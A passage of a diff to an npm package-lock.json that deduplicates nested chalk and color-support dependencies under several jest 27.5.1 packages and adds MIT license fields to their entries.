-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-config/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-config/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-config/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-config/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-config/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-diff": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
       "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
+      "license": "MIT",
       "dependencies": {
         "chalk": "^4.0.0",
         "diff-sequences": "^27.5.1",
@@ -10813,74 +10878,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-diff/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-diff/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-diff/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-diff/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-diff/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-diff/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-docblock": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.5.1.tgz",
       "integrity": "sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==",
+      "license": "MIT",
       "dependencies": {
         "detect-newline": "^3.0.0"
       },
@@ -10892,6 +10894,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.5.1.tgz",
       "integrity": "sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^27.5.1",
         "chalk": "^4.0.0",
@@ -10903,74 +10906,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-each/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-each/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-each/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-each/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-each/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-each/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-environment-jsdom": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz",
       "integrity": "sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==",
+      "license": "MIT",
       "dependencies": {
         "@jest/environment": "^27.5.1",
         "@jest/fake-timers": "^27.5.1",
@@ -10988,6 +10928,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.5.1.tgz",
       "integrity": "sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==",
+      "license": "MIT",
       "dependencies": {
         "@jest/environment": "^27.5.1",
         "@jest/fake-timers": "^27.5.1",
@@ -11004,6 +10945,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
       "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "license": "MIT",
       "engines": {
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
@@ -11012,6 +10954,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.5.1.tgz",
       "integrity": "sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^27.5.1",
         "@types/graceful-fs": "^4.1.2",
@@ -11037,6 +10980,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz",
       "integrity": "sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==",
+      "license": "MIT",
       "dependencies": {
         "@jest/environment": "^27.5.1",
         "@jest/source-map": "^27.5.1",
@@ -11060,74 +11004,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-jasmine2/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-jasmine2/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-jasmine2/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-jasmine2/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-jasmine2/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-jasmine2/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-leak-detector": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz",
       "integrity": "sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==",
+      "license": "MIT",
       "dependencies": {
         "jest-get-type": "^27.5.1",
         "pretty-format": "^27.5.1"
@@ -11140,6 +11021,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
       "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
+      "license": "MIT",
       "dependencies": {
         "chalk": "^4.0.0",
         "jest-diff": "^27.5.1",
@@ -11150,74 +11032,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-matcher-utils/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-matcher-utils/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-matcher-utils/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-matcher-utils/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-matcher-utils/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-matcher-utils/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-message-util": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
       "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
+      "license": "MIT",
       "dependencies": {
         "@babel/code-frame": "^7.12.13",
         "@jest/types": "^27.5.1",
@@ -11233,74 +11052,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-message-util/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-message-util/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-message-util/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-message-util/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-message-util/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-message-util/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-mock": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz",
       "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^27.5.1",
         "@types/node": "*"
@@ -11313,6 +11069,7 @@
       "version": "1.2.3",
       "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz",
       "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       },
@@ -11329,6 +11086,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz",
       "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==",
+      "license": "MIT",
       "engines": {
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
@@ -11337,6 +11095,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.5.1.tgz",
       "integrity": "sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^27.5.1",
         "chalk": "^4.0.0",
@@ -11357,6 +11116,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz",
       "integrity": "sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^27.5.1",
         "jest-regex-util": "^27.5.1",
@@ -11366,74 +11126,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-resolve/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-resolve/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-resolve/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-resolve/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-resolve/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-resolve/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-runner": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.5.1.tgz",
       "integrity": "sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==",
+      "license": "MIT",
       "dependencies": {
         "@jest/console": "^27.5.1",
         "@jest/environment": "^27.5.1",
@@ -11461,74 +11158,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-runner/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-runner/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-runner/node_modules/color-convert": {
